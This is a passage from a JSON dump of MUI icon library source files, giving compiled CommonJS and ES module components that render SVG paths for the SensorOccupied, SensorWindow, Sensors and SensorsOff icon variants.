    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 5c-1.84 0-3.56.5-5.03 1.37-.61.35-.97 1.02-.97 1.72V17h12v-1.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m-3.86 3c1.18-.65 2.51-1 3.86-1s2.68.35 3.85 1zm13.09-6.85 1.85-.77c-1.22-2.91-3.55-5.25-6.46-6.46l-.77 1.85c2.42 1.02 4.36 2.96 5.38 5.38M8.15 2.77 7.38.92C4.47 2.14 2.14 4.47.92 7.38l1.85.77c1.02-2.42 2.96-4.36 5.38-5.38M2.77 15.85l-1.85.77c1.22 2.91 3.55 5.25 6.46 6.46l.77-1.85c-2.42-1.02-4.36-2.96-5.38-5.38m13.08 5.38.77 1.85c2.91-1.22 5.25-3.55 6.46-6.46l-1.85-.77c-1.02 2.42-2.96 4.36-5.38 5.38\"\n}), 'SensorOccupiedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupiedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0 1c-1.84 0-3.56.5-5.03 1.37-.61.36-.97 1.02-.97 1.72V16c0 .55.45 1 1 1h10c.55 0 1-.45 1-1v-.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m10.11-4.21c.55-.23.78-.88.5-1.41-1.13-2.12-2.87-3.86-4.99-4.99-.52-.28-1.17-.04-1.4.5-.19.47-.01 1.02.43 1.25 1.79.94 3.26 2.42 4.21 4.21.23.45.78.63 1.25.44M7.79 1.89c-.23-.55-.88-.78-1.4-.5C4.27 2.52 2.52 4.26 1.4 6.38c-.28.52-.05 1.18.5 1.41.47.2 1.02.01 1.25-.43.94-1.79 2.42-3.26 4.21-4.21.44-.24.62-.79.43-1.26m-5.9 14.32c-.55.23-.78.88-.5 1.4 1.13 2.12 2.87 3.87 5 5 .52.28 1.17.04 1.4-.5.19-.47.01-1.02-.43-1.25-1.79-.94-3.26-2.42-4.21-4.21-.24-.45-.79-.63-1.26-.44m14.32 5.9c.23.55.88.78 1.4.5 2.12-1.13 3.87-2.87 5-5 .28-.52.04-1.17-.5-1.4-.47-.19-1.02-.01-1.25.43-.94 1.79-2.42 3.26-4.21 4.21-.45.24-.63.79-.44 1.26\"\n}), 'SensorOccupiedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupiedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0 1c-1.84 0-3.56.5-5.03 1.37-.61.36-.97 1.02-.97 1.72V16c0 .55.45 1 1 1h10c.55 0 1-.45 1-1v-.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m10.11-4.21c.55-.23.78-.88.5-1.41-1.13-2.12-2.87-3.86-4.99-4.99-.52-.28-1.17-.04-1.4.5-.19.47-.01 1.02.43 1.25 1.79.94 3.26 2.42 4.21 4.21.23.45.78.63 1.25.44M7.79 1.89c-.23-.55-.88-.78-1.4-.5C4.27 2.52 2.52 4.26 1.4 6.38c-.28.52-.05 1.18.5 1.41.47.2 1.02.01 1.25-.43.94-1.79 2.42-3.26 4.21-4.21.44-.24.62-.79.43-1.26m-5.9 14.32c-.55.23-.78.88-.5 1.4 1.13 2.12 2.87 3.87 5 5 .52.28 1.17.04 1.4-.5.19-.47.01-1.02-.43-1.25-1.79-.94-3.26-2.42-4.21-4.21-.24-.45-.79-.63-1.26-.44m14.32 5.9c.23.55.88.78 1.4.5 2.12-1.13 3.87-2.87 5-5 .28-.52.04-1.17-.5-1.4-.47-.19-1.02-.01-1.25.43-.94 1.79-2.42 3.26-4.21 4.21-.45.24-.63.79-.44 1.26\"\n}), 'SensorOccupiedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupiedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0 1c-1.84 0-3.56.5-5.03 1.37-.61.35-.97 1.02-.97 1.72V17h12v-1.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m9.23-3.85 1.85-.77c-1.22-2.91-3.55-5.25-6.46-6.46l-.77 1.85c2.42 1.02 4.36 2.96 5.38 5.38M8.15 2.77 7.38.92C4.47 2.14 2.14 4.47.92 7.38l1.85.77c1.02-2.42 2.96-4.36 5.38-5.38M2.77 15.85l-1.85.77c1.22 2.91 3.55 5.25 6.46 6.46l.77-1.85c-2.42-1.02-4.36-2.96-5.38-5.38m13.08 5.38.77 1.85c2.91-1.22 5.25-3.55 6.46-6.46l-1.85-.77c-1.02 2.42-2.96 4.36-5.38 5.38\"\n}), 'SensorOccupiedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupiedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0 1c-1.84 0-3.56.5-5.03 1.37-.61.35-.97 1.02-.97 1.72V17h12v-1.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m9.23-3.85 1.85-.77c-1.22-2.91-3.55-5.25-6.46-6.46l-.77 1.85c2.42 1.02 4.36 2.96 5.38 5.38M8.15 2.77 7.38.92C4.47 2.14 2.14 4.47.92 7.38l1.85.77c1.02-2.42 2.96-4.36 5.38-5.38M2.77 15.85l-1.85.77c1.22 2.91 3.55 5.25 6.46 6.46l.77-1.85c-2.42-1.02-4.36-2.96-5.38-5.38m13.08 5.38.77 1.85c2.91-1.22 5.25-3.55 6.46-6.46l-1.85-.77c-1.02 2.42-2.96 4.36-5.38 5.38\"\n}), 'SensorOccupiedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupiedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.14 15h7.7c-1.16-.65-2.5-1-3.85-1-1.34 0-2.67.35-3.85 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 5c-1.84 0-3.56.5-5.03 1.37-.61.35-.97 1.02-.97 1.72V17h12v-1.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m-3.86 3c1.18-.65 2.51-1 3.86-1s2.68.35 3.85 1zm13.09-6.85 1.85-.77c-1.22-2.91-3.55-5.25-6.46-6.46l-.77 1.85c2.42 1.02 4.36 2.96 5.38 5.38M8.15 2.77 7.38.92C4.47 2.14 2.14 4.47.92 7.38l1.85.77c1.02-2.42 2.96-4.36 5.38-5.38M2.77 15.85l-1.85.77c1.22 2.91 3.55 5.25 6.46 6.46l.77-1.85c-2.42-1.02-4.36-2.96-5.38-5.38m13.08 5.38.77 1.85c2.91-1.22 5.25-3.55 6.46-6.46l-1.85-.77c-1.02 2.42-2.96 4.36-5.38 5.38\"\n}, \"2\")], 'SensorOccupiedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorOccupiedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.14 15h7.7c-1.16-.65-2.5-1-3.85-1-1.34 0-2.67.35-3.85 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 5c-1.84 0-3.56.5-5.03 1.37-.61.35-.97 1.02-.97 1.72V17h12v-1.91c0-.7-.36-1.36-.97-1.72C15.56 12.5 13.84 12 12 12m-3.86 3c1.18-.65 2.51-1 3.86-1s2.68.35 3.85 1zm13.09-6.85 1.85-.77c-1.22-2.91-3.55-5.25-6.46-6.46l-.77 1.85c2.42 1.02 4.36 2.96 5.38 5.38M8.15 2.77 7.38.92C4.47 2.14 2.14 4.47.92 7.38l1.85.77c1.02-2.42 2.96-4.36 5.38-5.38M2.77 15.85l-1.85.77c1.22 2.91 3.55 5.25 6.46 6.46l.77-1.85c-2.42-1.02-4.36-2.96-5.38-5.38m13.08 5.38.77 1.85c2.91-1.22 5.25-3.55 6.46-6.46l-1.85-.77c-1.02 2.42-2.96 4.36-5.38 5.38\"\n}, \"2\")], 'SensorOccupiedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindow.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v16H6V4zm0-2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 19h10v-6H7zm3-9h4v1h3V5H7v6h3z\"\n}), 'SensorWindow');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindow.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v16H6V4zm0-2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 19h10v-6H7zm3-9h4v1h3V5H7v6h3z\"\n}), 'SensorWindow');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindowOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v7h-4v-1h-4v1H6V4zM6 20v-7h12v7z\"\n}), 'SensorWindowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindowOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v7h-4v-1h-4v1H6V4zM6 20v-7h12v7z\"\n}), 'SensorWindowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindowRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v16H6V4zm0-2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 19h10v-6H7zm3-9h4v1h3V5H7v6h3z\"\n}), 'SensorWindowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindowRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v16H6V4zm0-2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 19h10v-6H7zm3-9h4v1h3V5H7v6h3z\"\n}), 'SensorWindowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindowSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v16H6V4zM4 2v20h16V2zm3 17h10v-6H7zm3-9h4v1h3V5H7v6h3z\"\n}), 'SensorWindowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindowSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v16H6V4zM4 2v20h16V2zm3 17h10v-6H7zm3-9h4v1h3V5H7v6h3z\"\n}), 'SensorWindowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindowTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v7h-4v-1h-4v1H6V4zM6 20v-7h12v7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v7h-4v-1h-4v1H6V4zM6 20v-7h12v7z\"\n}, \"1\")], 'SensorWindowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorWindowTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v7h-4v-1h-4v1H6V4zM6 20v-7h12v7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v7h-4v-1h-4v1H6V4zM6 20v-7h12v7z\"\n}, \"1\")], 'SensorWindowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sensors.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.76 16.24C6.67 15.16 6 13.66 6 12s.67-3.16 1.76-4.24l1.42 1.42C8.45 9.9 8 10.9 8 12s.45 2.1 1.17 2.83zm8.48 0C17.33 15.16 18 13.66 18 12s-.67-3.16-1.76-4.24l-1.42 1.42C15.55 9.9 16 10.9 16 12s-.45 2.1-1.17 2.83zM12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m8 2c0 2.21-.9 4.21-2.35 5.65l1.42 1.42C20.88 17.26 22 14.76 22 12s-1.12-5.26-2.93-7.07l-1.42 1.42C19.1 7.79 20 9.79 20 12M6.35 6.35 4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.42-1.42C4.9 16.21 4 14.21 4 12s.9-4.21 2.35-5.65\"\n}), 'Sensors');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sensors.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.76 16.24C6.67 15.16 6 13.66 6 12s.67-3.16 1.76-4.24l1.42 1.42C8.45 9.9 8 10.9 8 12s.45 2.1 1.17 2.83zm8.48 0C17.33 15.16 18 13.66 18 12s-.67-3.16-1.76-4.24l-1.42 1.42C15.55 9.9 16 10.9 16 12s-.45 2.1-1.17 2.83zM12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m8 2c0 2.21-.9 4.21-2.35 5.65l1.42 1.42C20.88 17.26 22 14.76 22 12s-1.12-5.26-2.93-7.07l-1.42 1.42C19.1 7.79 20 9.79 20 12M6.35 6.35 4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.42-1.42C4.9 16.21 4 14.21 4 12s.9-4.21 2.35-5.65\"\n}), 'Sensors');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorsOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.14 10.96c-.09.33-.14.68-.14 1.04 0 1.1.45 2.1 1.17 2.83l-1.42 1.42C6.67 15.16 6 13.66 6 12c0-.93.21-1.8.58-2.59L5.11 7.94C4.4 9.13 4 10.52 4 12c0 2.21.9 4.21 2.35 5.65l-1.42 1.42C3.12 17.26 2 14.76 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm9.28 3.63c.37-.79.58-1.66.58-2.59 0-1.66-.67-3.16-1.76-4.24l-1.42 1.42C15.55 9.9 16 10.9 16 12c0 .36-.05.71-.14 1.04zM20 12c0 1.48-.4 2.87-1.11 4.06l1.45 1.45C21.39 15.93 22 14.04 22 12c0-2.76-1.12-5.26-2.93-7.07l-1.42 1.42C19.1 7.79 20 9.79 20 12\"\n}), 'SensorsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorsOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.14 10.96c-.09.33-.14.68-.14 1.04 0 1.1.45 2.1 1.17 2.83l-1.42 1.42C6.67 15.16 6 13.66 6 12c0-.93.21-1.8.58-2.59L5.11 7.94C4.4 9.13 4 10.52 4 12c0 2.21.9 4.21 2.35 5.65l-1.42 1.42C3.12 17.26 2 14.76 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm9.28 3.63c.37-.79.58-1.66.58-2.59 0-1.66-.67-3.16-1.76-4.24l-1.42 1.42C15.55 9.9 16 10.9 16 12c0 .36-.05.71-.14 1.04zM20 12c0 1.48-.4 2.87-1.11 4.06l1.45 1.45C21.39 15.93 22 14.04 22 12c0-2.76-1.12-5.26-2.93-7.07l-1.42 1.42C19.1 7.79 20 9.79 20 12\"\n}), 'SensorsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorsOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.14 10.96c-.09.33-.14.68-.14 1.04 0 1.1.45 2.1 1.17 2.83l-1.42 1.42C6.67 15.16 6 13.66 6 12c0-.93.21-1.8.58-2.59L5.11 7.94C4.4 9.13 4 10.52 4 12c0 2.21.9 4.21 2.35 5.65l-1.42 1.42C3.12 17.26 2 14.76 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm9.28 3.63c.37-.79.58-1.66.58-2.59 0-1.66-.67-3.16-1.76-4.24l-1.42 1.42C15.55 9.9 16 10.9 16 12c0 .36-.05.71-.14 1.04zM20 12c0 1.48-.4 2.87-1.11 4.06l1.45 1.45C21.39 15.93 22 14.04 22 12c0-2.76-1.12-5.26-2.93-7.07l-1.42 1.42C19.1 7.79 20 9.79 20 12\"\n}), 'SensorsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorsOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.14 10.96c-.09.33-.14.68-.14 1.04 0 1.1.45 2.1 1.17 2.83l-1.42 1.42C6.67 15.16 6 13.66 6 12c0-.93.21-1.8.58-2.59L5.11 7.94C4.4 9.13 4 10.52 4 12c0 2.21.9 4.21 2.35 5.65l-1.42 1.42C3.12 17.26 2 14.76 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm9.28 3.63c.37-.79.58-1.66.58-2.59 0-1.66-.67-3.16-1.76-4.24l-1.42 1.42C15.55 9.9 16 10.9 16 12c0 .36-.05.71-.14 1.04zM20 12c0 1.48-.4 2.87-1.11 4.06l1.45 1.45C21.39 15.93 22 14.04 22 12c0-2.76-1.12-5.26-2.93-7.07l-1.42 1.42C19.1 7.79 20 9.79 20 12\"\n}), 'SensorsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorsOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.68 18.32c-.42.42-1.12.39-1.5-.08C2.82 16.53 2 14.36 2 12c0-2.04.61-3.93 1.66-5.51L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L8.14 10.96c-.09.33-.14.68-.14 1.04 0 .8.24 1.55.64 2.17.27.41.24.94-.1 1.29-.43.43-1.17.4-1.51-.11C6.38 14.4 6 13.24 6 12c0-.93.21-1.8.58-2.59L5.11 7.94C4.4 9.13 4 10.52 4 12c0 1.89.66 3.63 1.76 5 .32.39.28.96-.08 1.32m9.78-9.78c-.35.35-.37.88-.11 1.29.41.62.65 1.37.65 2.17 0 .36-.05.71-.14 1.04l1.55 1.55c.38-.79.59-1.66.59-2.59 0-1.24-.38-2.4-1.03-3.36-.34-.5-1.07-.54-1.51-.1m2.86-2.86c-.36.36-.4.92-.08 1.32 1.1 1.37 1.76 3.11 1.76 5 0 1.48-.4 2.87-1.11 4.06l1.45 1.45C21.39 15.93 22 14.04 22 12c0-2.36-.82-4.53-2.18-6.24-.38-.47-1.08-.5-1.5-.08\"\n}), 'SensorsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorsOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.68 18.32c-.42.42-1.12.39-1.5-.08C2.82 16.53 2 14.36 2 12c0-2.04.61-3.93 1.66-5.51L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L8.14 10.96c-.09.33-.14.68-.14 1.04 0 .8.24 1.55.64 2.17.27.41.24.94-.1 1.29-.43.43-1.17.4-1.51-.11C6.38 14.4 6 13.24 6 12c0-.93.21-1.8.58-2.59L5.11 7.94C4.4 9.13 4 10.52 4 12c0 1.89.66 3.63 1.76 5 .32.39.28.96-.08 1.32m9.78-9.78c-.35.35-.37.88-.11 1.29.41.62.65 1.37.65 2.17 0 .36-.05.71-.14 1.04l1.55 1.55c.38-.79.59-1.66.59-2.59 0-1.24-.38-2.4-1.03-3.36-.34-.5-1.07-.54-1.51-.1m2.86-2.86c-.36.36-.4.92-.08 1.32 1.1 1.37 1.76 3.11 1.76 5 0 1.48-.4 2.87-1.11 4.06l1.45 1.45C21.39 15.93 22 14.04 22 12c0-2.36-.82-4.53-2.18-6.24-.38-.47-1.08-.5-1.5-.08\"\n}), 'SensorsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SensorsOffSharp.js",
